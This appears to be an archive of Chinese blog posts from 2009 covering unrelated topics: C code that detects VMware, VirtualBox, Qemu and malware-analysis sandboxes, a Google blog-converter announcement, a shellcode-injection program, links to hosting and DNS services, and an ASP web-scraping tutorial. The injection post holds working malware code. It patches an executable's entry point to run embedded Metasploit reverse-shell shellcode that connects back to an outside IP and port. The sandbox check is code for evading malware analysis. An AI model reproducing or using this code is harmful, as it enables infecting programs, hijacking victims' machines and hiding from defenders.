2009年1月11日日曜日

Detect Vmware, VirtualPc, VirtualBox, Qemu, Anubis, Theat Ex

//-----------------------------------------------------------------------------
// Object: detect Vmware, VirtualBox, VirtualPc, Qemu, Anubis and Threat Expert by comparing virtual disk model description
//----------------------------------------------------------------------------

#include
#include
#include "Drive.h"

// Code was originally written by Lynn McGuire
// http://www.winsim.com/diskid32/winio/diskid32.cpp

// Virtual Harddisk Model Desciptions have to be in uppercase
PCHAR pVirtualDriveModelNames[] = {"VBOX HARDDRIVE",
"QEMU HARDDISK",
"VMWARE VIRTUAL IDE HARD DRIVE",
"VIRTUAL HD"};

//-----------------------------------------------------------------------------
// Name: GetFirstPhysicalDriveModelNames
// Object: get model name of the first found physical drive
// Parameters :
// in :
// out :
// return : model description on success or NULL
// caller have to free mem on success!
//-----------------------------------------------------------------------------
PSTR GetFirstPhysicalDriveModelNames()
{
HANDLE hDrive;
DWORD dwBytesReturned = 0;
DWORD dwCnt;
BYTE bIDInCmd = 0;
SENDCMDINPARAMS Scip;
BYTE pIDOutCmd[sizeof(SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1];
PIDSECTOR pIdSector;
GETVERSIONOUTPARAMS VersionParams;
PSTR pszModel = malloc(sizeof(pIdSector->sModelNumber));

// Open first physical drive
hDrive = CreateFileA("\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDrive == INVALID_HANDLE_VALUE)
{
printf ("Unable to open physical drive 0, error code: 0x%lX\n", GetLastError ());
goto Error;
}

memset (&VersionParams, 0, sizeof(VersionParams));

// Get the version and co, of previousliy opened physical drive driver
if (!DeviceIoControl(hDrive,
DFP_GET_VERSION,
NULL,
0,
&VersionParams,
sizeof(VersionParams),
&dwBytesReturned,
NULL))
{
printf ("DFP_GET_VERSION failed error code: 0x%lX\n", GetLastError ());
goto Error;
}

// Is there bit map of IDE devices?
if (VersionParams.bIDEDeviceMap > 0)
{
// Get ID sector and decide if its a ATAPI or ATA disk
bIDInCmd = (VersionParams.bIDEDeviceMap & 0x10) ? IDE_ATAPI_IDENTIFY : IDE_ATA_IDENTIFY;

memset (&Scip, 0, sizeof(Scip));
memset (pIDOutCmd, 0, sizeof(pIDOutCmd));

// Set up data structures for IDENTIFY command
Scip.cBufferSize = IDENTIFY_BUFFER_SIZE;
Scip.irDriveRegs.bFeaturesReg = 0;
Scip.irDriveRegs.bSectorCountReg = 1;
Scip.irDriveRegs.bSectorNumberReg = 1;
Scip.irDriveRegs.bCylLowReg = 0;
Scip.irDriveRegs.bCylHighReg = 0;

// Compute the drive number
Scip.irDriveRegs.bDriveHeadReg = 0xA0 | (1 << 4);

// The command can either be IDE identify or ATAPI identify
Scip.irDriveRegs.bCommandReg = bIDInCmd;
Scip.bDriveNumber = 0;
Scip.cBufferSize = IDENTIFY_BUFFER_SIZE;

// Get drive data
if(!DeviceIoControl(hDrive,
DFP_RECEIVE_DRIVE_DATA,
(LPVOID) &Scip,
sizeof(SENDCMDINPARAMS) - 1,
(LPVOID) pIDOutCmd,
sizeof(SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1,
&dwBytesReturned,
NULL))
{
printf ("DFP_RECEIVE_DRIVE_DATA failed error code: 0x%lX\n", GetLastError ());
goto Error;
}

// Point to IDSECTOR
pIdSector = (PIDSECTOR)((PSENDCMDOUTPARAMS)pIDOutCmd)->bBuffer;

// Exchange every two bytes of sModelNumber
for(dwCnt = 0; dwCnt < sizeof(pIdSector->sModelNumber); dwCnt+=2)
{
pszModel[dwCnt+1] = pIdSector->sModelNumber[dwCnt];
pszModel[dwCnt] = pIdSector->sModelNumber[dwCnt+1];
}

// Add ending
pszModel[dwCnt] = '\0';

return CharUpperA(pszModel);
}

Error:
free(pszModel);
if(hDrive)
CloseHandle(hDrive);
return NULL;
}

//-----------------------------------------------------------------------------
// Name: PrintSandboxed
// Object: print a message through CreateFile which will be analysed by the
// sandbox and will appear in the report file
// Parameters :
// in : PSTR pszMsg : print message
// out :
// return :
//-----------------------------------------------------------------------------
void PrintSandboxed(PSTR pszMsg)
{
HANDLE hFile;
hFile = CreateFileA(pszMsg, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

if(hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
}

int main()
{
DWORD dwCnt;
PSTR pszModel = GetFirstPhysicalDriveModelNames();

printf(pszModel);

// Compare each model name
for(dwCnt = 0; dwCnt < sizeof(pVirtualDriveModelNames)/sizeof(PSTR); ++dwCnt)
{
if(strstr(pszModel,pVirtualDriveModelNames[dwCnt]))
{
PrintSandboxed("Found virtual machine or emulator");
goto CleanUp;
}
}

PrintSandboxed("We are running on a real system");

CleanUp:

// GetFirstPhysicalDriveModelNames
free(pszModel);

return 0;
}

Google博客数据转换器发布

Google “解放数据”(Data Liberation)团队今天正式发布 Google Blog Converters 1.0,该开源工具可以让你在不同博客服务之间自由转移文章和评论数据。第一个版本提供了 Python 程序库及相关可执行脚本,用于相互转换 Blogger、LiveJournal、MovableType 和 WordPress 导出的各种数据文件格式。
全世界的博客们,Google 想要提醒你们,那是“你的博客,你的数据”。

Google “解放数据”(Data Liberation)团队今天正式发布 Google Blog Converters 1.0,该开源工具可以让你在不同博客服务之间自由转移文章和评论数据。第一个版本提供了 Python 程序库及相关可执行脚本,用于相互转换 Blogger、LiveJournal、MovableType 和 WordPress 导出的各种数据文件格式。

对于数据量较小(<1MB)的博客,可使用该项目提供的 Google App Engine 服务进行在线数据格式转换:

1. Blogger -> WordPress: http://blogger2wordpress.appspot.com/

2. WordPress -> Blogger: http://wordpress2blogger.appspot.com/

3. Livejournal -> Blogger: http://livejournal2blogger.appspot.com/

数据量较大的博客,则不妨自行下载源码(2.7 MB),运行相关脚本转换数据格式。

此前,Google Blogger 已推出了博客导入/导出功能,以便迁移、合并、备份博客数据,

[C] Shellcode injection

#include
#include
void InsertShellCode(char *szFileName,BYTE* ShellCode,int nCodeSize)
{
HANDLE hFile = CreateFile(szFileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
HANDLE hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
BYTE* pFileStart = (BYTE*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);

IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pFileStart;
IMAGE_FILE_HEADER* pFileHeader = (IMAGE_FILE_HEADER *)(pFileStart + pDosHeader->e_lfanew + 4);
IMAGE_OPTIONAL_HEADER* pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)(pFileStart + pDosHeader->e_lfanew + 24);
IMAGE_SECTION_HEADER* pSectionHeader = (IMAGE_SECTION_HEADER*)(pFileStart + pDosHeader->e_lfanew + 248);

nCodeSize += 12;

DWORD dwEntryPointRVA = pOptionalHeader->AddressOfEntryPoint;
DWORD dwEntryPointFileOffset = dwEntryPointRVA +(pSectionHeader[0].PointerToRawData)-(pSectionHeader[0].VirtualAddress);
DWORD dwCodePos = pSectionHeader[0].PointerToRawData + pSectionHeader[0].SizeOfRawData - nCodeSize;

BYTE jmp[7] = {0xE9,0x00,0x00,0x00,0x00,0x90,0x90};
*(DWORD*)(jmp + 1) = dwCodePos - dwEntryPointFileOffset - 5;
BYTE bjmp[5] = {0xE9};
*(DWORD*)(bjmp + 1) = (dwEntryPointFileOffset + 5) - ( dwCodePos + nCodeSize);

BYTE save[7];

for (int i = 0; i < 7; i++)
{
save[i] = pFileStart[dwEntryPointFileOffset+i];
}

for (int i = 0; i < 7; i++)
{
pFileStart[dwEntryPointFileOffset+i] = jmp[i];
}

for (int i = 0; i < (nCodeSize - 12); i++)
{
pFileStart[dwCodePos+i] = ShellCode[i];
}

int j = 0;

for (int i = (nCodeSize - 12);i < (nCodeSize - 5); i++)
{
pFileStart[dwCodePos+i] = save[j];
j++;
}

int k = 0;

for (int i = (nCodeSize - 5);i < nCodeSize; i++)
{
pFileStart[dwCodePos+i] = bjmp[k];
k++;
}
FlushViewOfFile(pFileStart,0);
UnmapViewOfFile(pFileStart);
CloseHandle(hMap);
CloseHandle(hMap);
}
int main(){
BYTE myshell[] =//* win32_reverse - EXITFUNC=thread LHOST=192.168.1.2 LPORT=1337 Size=312 Encoder=PexFnstenvSub http://metasploit.com */
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6e"
"\x67\x32\x0c\x83\xeb\xfc\xe2\xf4\x92\x0d\xd9\x41\x86\x9e\xcd\xf3"
"\x91\x07\xb9\x60\x4a\x43\xb9\x49\x52\xec\x4e\x09\x16\x66\xdd\x87"
"\x21\x7f\xb9\x53\x4e\x66\xd9\x45\xe5\x53\xb9\x0d\x80\x56\xf2\x95"
"\xc2\xe3\xf2\x78\x69\xa6\xf8\x01\x6f\xa5\xd9\xf8\x55\x33\x16\x24"
"\x1b\x82\xb9\x53\x4a\x66\xd9\x6a\xe5\x6b\x79\x87\x31\x7b\x33\xe7"
"\x6d\x4b\xb9\x85\x02\x43\x2e\x6d\xad\x56\xe9\x68\xe5\x24\x02\x87"
"\x2e\x6b\xb9\x7c\x72\xca\xb9\x4c\x66\x39\x5a\x82\x20\x69\xde\x5c"
"\x91\xb1\x54\x5f\x08\x0f\x01\x3e\x06\x10\x41\x3e\x31\x33\xcd\xdc"
"\x06\xac\xdf\xf0\x55\x37\xcd\xda\x31\xee\xd7\x6a\xef\x8a\x3a\x0e"
"\x3b\x0d\x30\xf3\xbe\x0f\xeb\x05\x9b\xca\x65\xf3\xb8\x34\x61\x5f"
"\x3d\x24\x61\x4f\x3d\x98\xe2\x64\xae\xcf\x33\x0e\x08\x0f\x37\x35"
"\x08\x34\xbb\xed\xfb\x0f\xde\xf5\xc4\x07\x65\xf3\xb8\x0d\x22\x5d"
"\x3b\x98\xe2\x6a\x04\x03\x54\x64\x0d\x0a\x58\x5c\x37\x4e\xfe\x85"
"\x89\x0d\x76\x85\x8c\x56\xf2\xff\xc4\xf2\xbb\xf1\x90\x25\x1f\xf2"
"\x2c\x4b\xbf\x76\x56\xcc\x99\xa7\x06\x15\xcc\xbf\x78\x98\x47\x24"
"\x91\xb1\x69\x5b\x3c\x36\x63\x5d\x04\x66\x63\x5d\x3b\x36\xcd\xdc"
"\x06\xca\xeb\x09\xa0\x34\xcd\xda\x04\x98\xcd\x3b\x91\xb7\x5a\xeb"
"\x17\xa1\x4b\xf3\x1b\x63\xcd\xda\x91\x10\xce\xf3\xbe\x0f\xdd\xc2"
"\x8e\x07\x61\xf3\xb8\x98\xe2\x0c";
InsertShellCode("malloc.exe",myshell,sizeof(myshell));
}

zSHARE分享空间——免费无限的上传空间



今天无意发现的。

Welcome to zSHARE Ad-Financed, File, Image and Video Hosting

With zSHARE you can upload files, images, videos, audio and flash for free. Simply use the upload form below and start sharing! You can also use zSHARE as your personal file storage: backup your data and protect your files. First Time? Read our

http://www.zshare.net/

易名中国免费智能DNS系统

http://www.iidns.com/

易名中国eName旗下网站

免费智能DNS系统

iiDNS建立于2006年3月份,是一款免费智能DNS产品。

iiDNS可以为同时有电信、网通、教育网服务器的网站

提供智能的解析,让电信用户访问电信的服务器,网通

的用户访问网通的服务器,达到互联互通的效果。

当然,不需要智能解析的普通用户也可以用我们的服务。

我们不限制用户的域名、记录数量,并且提供别的DNS

服务提供商没有提供的服务。

在线flv地址获取网站

可获取网页上播放的flash地址。

专业在线视频FLV地址解析

http://www.flvxz.com/

支持的URL示例
视频:http://www.youtube.com/watch?v=F3lSGDgfSdc
优酷网
视频:http://v.youku.com/v_show/id_cc00XNzQ3ODcyMA==.html
专辑:http://www.youku.com/playlist_show/id_1303041.html
土豆网
视频:http://www.tudou.com/programs/view/YDn_zTq_8gI/
豆单:http://www.tudou.com/playlist/id/608662/
给我留言 合作伙伴: FLV下载 无忧代理 无忧代理VPN服务 博客主机 苏州房屋出租

ASP网络采集程序源码

作者:李红
假如你想从网上自动采集数据,把它们写进本地数据库中,那就看看本文介绍的方法吧。笔者为了解决这个问题,花了三天的时间,终于大功告成,下面就是完整的ASP代码,能让你随心所欲地从网上采集数据入库,非常实用啊!

一、网站数据采集方法

目前网站数据采集方法主要有两种,一是使用现成的软件,二是自己编写采集程序。

1、使用现成的软件

很多软件(例如网络信息采集大师、BK通用信息采集系统等)都能采集网上数据,只要你到baidu、Google中,以“数据采集软件”为关键词搜一下,即可找到。如今这类软件数量繁多,都是别人用C、DEPHI或VB写成的,一般都提供了免费版让你下载试用。它们虽然也能采集网上数据,但是采集后的数据要么不能入库,要么只能入库前10条;如果你想突破这种限制,就必须花钱购买其正式版了。笔者试用了所有的数据采集软件,发现都是如此!

2、自己编写ASP采集程序

既然现成的软件不能免费使用,为了省钱,只能自己编写ASP网站数据采集程序了!下面就是该程序的代码,如果你想免费采集网站数据,运行之即可。

二、网站数据采集过程

编写ASP网站数据采集程序,首先需要抓取远程网页的源代码。微软serverXMLHTTP组件能帮你抓取远程页面的二进制代码,然后将该代码转换成字符,进行截取、替换处理,即可得到想要的数据;最后再将数据显示出来、或者写入数据库中,整个采集工作就完成了。

三、如何抓取远程网页?

抓取远程HTML的二进制代码主要语句如下:

Set Http = CreateObject("MSXML2.XMLHTTP") ’创建serverXMLHTTP组件

Http.open "GET",src_ ,false

Http.send() ’开始抓取

if Http.readystate<>4 then

exit sub

end if

value_ = Http.responseBody ’抓取到的网页二进制代码存放在value_中

下面我们写一个steal()子程序,只要你提供一个网址url,即可利用它抓取URL网页的二进制代码,存放在value_变量中。

public sub steal() ’窃取目标URL地址的HTML代码

if src_<>"" then ’src_=目标URL地址

dim Http

set Http=server.createobject("MSXML2.XMLHTTP") ’创建serverXMLHTTP组件

Http.open "GET",src_ ,false

Http.send()

if Http.readystate<>4 then ’判断是否准备好

exit sub

end if

value_= Http.responseBody ’抓取到网页

if len(value_)<100 then

response.write "获取远程文件 "&url&" 失败。"

response.end

end if

isGet_= True ’已抓取过标志isGet_

set http=nothing

if err.number<>0 then err.Clear

else

response.Write("")

end if

end sub

四、将网页二进制代码转换成字符

现在只要你提供一个远程网页URL,然后调用上面的steal(),即可抓到该网页(二进制代码形式);由于二进制代码无法显示,所以要显示抓到的网页、或者入库,还需要转换成字符,必须写一个转换函数BytesToBstr,将网页二进制代码转换成字符,代码如下:

private Function BytesToBstr(body,Cset) ’二进制转换成字符

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

五、抓取网页实例

现在我们能真枪实弹地抓一个网页了!例如要抓取六安信息港网页(http://market.ah163.net/city/AllDisplay.php?page=1&cityid=13),可以写一个2hand-cj.asp文件,在该文件中定义一个clsThief类,类中含有上面的子程序和函数,代码如下:



解释一下以上程序中几个关键的语句:

GetUrl=http://market.ah163.net/city/AllDisplay.php?page=1&cityid=13 ’要采集的网址

myThief.src=GetUrl ’网址赋予myThief.src

myThief.steal ’调用steal方法抓取远程网页,并将该网页二进制代码转换成字符

url_tittle=myThief.value ’抓取的网页存放在url_tittle中

Html=""&url_tittle&"" ’最后结果存放在Html中

Response.write Html ’使用response显示抓取的网页

运行上面的2hand-cj.asp可以成功地抓取网页,结果如下图1所示!

接下来对于抓取的网页,我们只想保留表格(如上图)、其他的数据全不要,该怎么办呢?这就需要对抓取的网页进行截取了!

六、对抓取的网页进行截取

首先写个截取子程序cutBy(head,headCusor,bot,botCusor),它可以按照你指定的首尾字符串、及位置偏移指针,对抓取的网页进行裁减。程序中参数head,headCusor,bot,botCusor分别是首字符串,首偏移值,尾字符串,尾偏移值;偏移值单位为字符数,向前偏移为负值,向后偏移为正值。

public sub cutBy(head,headCusor,bot,botCusor)

if isGet_= false then call steal()

On Error Resume Next

url=src_

value_=mid(value_ ,instr(value_ ,head)+len(head)+headCusor,instr(value_ ,bot)-1+botCusor-instr(value_ ,head)-len(head)-headcusor)

If Err.Number<>0 Then Response.Write "裁减"&url&" 失败。"

end sub

把以上cutBy子程序添加到clsThief类中,然后在2hand-cj.asp中增加如下调用:



再次执行2hand-cj.asp ,效果如下图2,只保留了表格,大功告成!

七、替换网页中的数据

检查一下抓取的表格中每个帖子网址,其格式均为InformationDisplay.php?id=,这样的网址是不正确的!应该替换成http://market.ah163.net/city/InformationDisplay_enter.php?id=才行,所以我们在clsThief类中再增加一个替换程序change(oldStr,str),用于替换网址,其中参数oldStr,str分别是旧字符串,新字符串。

public sub change(oldStr,str) ’对偷到的内容中的个别字符串用新值更换/方法

if isGet_= false then call steal()

value_=replace(value_ , oldStr,str)

end sub

同时在2hand-cj.asp中也增加如下调用:



执行2hand-cj.asp,表格中帖子的网址InformationDisplay.php?id=都会替换成http://market.ah163.net/city/InformationDisplay_enter.php?id=

这样帖子的网址都正确生成了。

八、截取帖子标题、网址等

现在我们需要截取每个帖子的标题、网址、方式、价格、时间(如上图2)这些数据,然后将之写入库中,为此,再写一个GetKey函数,负责截取这些数据,从Start开始截取,到Last截取结束

Function GetKey(HTML,Start,Last)

filearray=split(HTML,Start)

filearray2=split(filearray(1),Last)

GetKey=filearray2(0)

End Function

在抓到的网页代码中(下图3)我们发现,每个帖子的标题都位于和 之间,所以按照如下格式调用GetKey截取帖子的标题:

tittle=GetKey(HTML,""," "),其他数据的截取如法炮制,先确定截取的起始和结束标志,然后调用GetKey截取。

因此在2hand-cj.asp中增加如下语句:

’-----截取帖子标题

tittle=GetKey(HTML,""," ")

tittle=mid(tittle,6) ’去掉头部前6个非显示字符

’-----截取帖子网址

url=GetKey(HTML,"")

url=TRIM(url) ’去掉空格

’-----得到大类别和小类别

CateIDText=GetKey(HTML,"[","]") ’截取类别数据

CateIDText=TRIM(CateIDText)

select case CateIDText

case "交通" ’如果类别数据=交通

CateID=8 ’ 大类别CateID就等于8

SubCateID=1 ’ 小类别SubCateID就等于1

case "游戏"

CateID=1

SubCateID=26

case "电脑"

CateID=1

SubCateID=1

case "房产"

CateID=6

SubCateID=1

case "通讯"

CateID=2

SubCateID=1

case "宠物"

CateID=31

SubCateID=221

case "求职"

CateID=37

SubCateID=230

case "影音"

CateID=4

SubCateID=1

case "家用"

CateID=5

case "书籍"

SubCateID=1

CateID=17

case "其它"

CateID=0

SubCateID=1

end select

’-----取得方式

fangshi=GetKey(HTML,"","
")

fangshi=TRIM(right(fangshi,4))

select case fangshi

case "求购"

SoftType="买进"

case "出售"

SoftType="卖出"

end select

if instr(fangshi,""">")>0 then fangshi="其他" ’如果fangshi含有字符"> 则fangshi="其他"

’-----取得价格

jiage=GetKey(HTML,"","
")

jiage=TRIM(mid(jiage,44))

’-----取得帖子发布日期

DayDate=GetKey(HTML,"","
")

DayDate=right(DayDate,10)

’-----显示得到的帖子数据

Response.write tittle

Response.write url

Response.write fangshi

Response.write jiage

Response.write DayDate

九、帖子数据入库

最后要把帖子数据tittle、url、fangshi、jiage、DayDate写入#2hand.mdb库中,为防止帖子重复入库,需要写个testsj函数来判断某帖子是否已入库了,假如某帖子URL在库中找不到,则将该帖入库,否则就不予入库,代码如下:

’检测库中是否有某帖子的URL

Function testsj(titURL)

sql="select * from SoftDown_SoftInfo where url like ’%"&titURL&"%’ "

set rs=server.createobject("adodb.recordset")

rs.open sql,conn,1,1

if rs.bof and rs.eof then

testsj=True

ErrMsg=ErrMsg & "

你要找的帖子不存在,或者已经被管理员删除!"

else

testsj=false ’库中无该帖子的URL

end if

rs.close

set rs=nothing

End Function

接下来打开数据库语句如下:

db="#2hand.mdb"

Set conn = Server.CreateObject("ADODB.Connection")

connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

conn.Open connstr

’-----判断帖子是否已经入库?

FoundErr=False

FoundErr=testsj(url)

’-----帖子数据写入库中

if FoundErr=True then

set rs=server.createobject("adodb.recordset")

sql="select * from SoftDown_SoftInfo where (SoftID is null)"

rs.open sql,conn,1,3

if rs.bof and rs.eof then

ErrMsg=ErrMsg & "

你要找的帖子不存在,或者已经被管理员删除!"

else

ArticleTitle=rs("SoftName")

end if

rs.addnew

rs("SoftName")=tittle

rs("url")=url

rs("CateID")=CateID ’所属大类

rs("SubCateID")=SubCateID ’所属小类

rs("SoftType")=fangshi ’出售\买进\出租\求租等方式

rs("SoftSize")=jiage ’价格

rs("hfsj")=DayDate ’发布时间

rs.update

rs.close

set rs=nothing

Response.write " 该帖入库成功

"

end if

十、结束语

以上程序2hand-cj.asp在WinXP+IIS6环境下调试成功。只要你运行该程序,即可将网页http://market.ah163.net/city/AllDisplay.php?page=1&cityid=13中每个帖子的标题、网址、方式、价格、时间全部采集下来,写入到数据库#2hand.mdb中!

提示:2hand-cj.asp中并没有截取帖子的内容,只要你利用采集到的帖子网址,抓取对应的网页,然后再通过首尾标志即可截取帖子的内容,限于篇幅,这里就不展开介绍了!

另外,2hand-cj.asp中的取截取标志也都是常量,如果你把它们全部换成文本框变量、要抓取的网址也换成变量,2hand-cj.asp就会变成一个通用的网站数据采集软件,这些工作本文也不再讨论了,留给大家自己去修改扩展吧!

十一、附2hand-cj.asp程序全部清单

程序中使用的数据库#2hand.mdb请到我的小站http://www.labxw.com/2hand.zip下载。注意:测试程序时,请你先清空#2hand.mdb中数据;另外,帖子是不会重复入库的,即假如某帖子已经写入#2hand.mdb中了,再次执行2hand-cj.asp后,该帖子还是不会再写入#2hand.mdb中的!